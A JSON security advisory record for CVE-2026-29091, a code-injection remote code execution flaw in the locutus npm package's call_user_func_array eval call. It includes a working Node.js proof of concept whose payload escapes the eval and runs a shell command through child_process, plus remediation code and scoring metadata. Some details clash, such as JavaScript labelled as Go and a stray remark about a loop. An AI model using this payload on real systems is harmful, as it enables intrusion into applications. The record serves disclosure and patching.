{"id":"CVE-2026-29091","aliases":["GHSA-fp25-p6mj-qqg6"],"url":"https://o3.security/vulnerability/CVE-2026-29091","summary":"Locutus: Remote Code Execution (RCE) in locutus call_user_func_array due to Code Injection","details":"### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"['\" + cb[1] + \"']\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n  // biome-ignore lint/security/noGlobalEval: needed for PHP port\n  func = eval(cb[0] + \"['\" + cb[1] + \"']\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n  __dirname,\n  \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n  console.error(\"error target file not found\");\n  process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"']; require('child_process').execSync('id').toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n  console.log(\"run\");\n  call_user_func_array([\"Date\", payload], []);\n  console.log(\"fail no error\");\n} catch (e) {\n  const msg = e.message;\n  if (msg && msg.includes(\"uid=\")) {\n    console.log(\"pwn\");\n    const proof = msg.split(\" is not a valid function\")[0];\n    console.log(\"out \" + proof);\n  } else {\n    console.error(\"fail unexpected\");\n    console.error(msg);\n    process.exit(1);\n  }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library's own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n  if (cb[0].match(validJSFunctionNamePattern)) {\n    // biome-ignore lint/security/noGlobalEval: needed for PHP port\n    // func = eval(cb[0] + \"['\" + cb[1] + \"']\");\n    var obj = null;\n    try {\n      obj = eval(cb[0]);\n    } catch (e) {}\n    if (obj && typeof obj[cb[1]] === \"function\") {\n      func = obj[cb[1]];\n    }\n  }\n} else {\n  func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati","published":"2026-03-06T17:48:10.442Z","modified":"2026-08-12T03:51:43.694276524Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00776,"percentile":0.53037,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"locutus","fixedVersion":"3.0.0"}],"fix":{"url":"https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad","label":"locutusjs/locutus@977a1fb"},"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29091.json"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-29091"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29091.json"},{"type":"ADVISORY","url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29091"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445262"},{"type":"FIX","url":"https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad"},{"type":"WEB","url":"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval"},{"type":"PACKAGE","url":"https://github.com/locutusjs/locutus"},{"type":"WEB","url":"https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:43.694276524Z"}}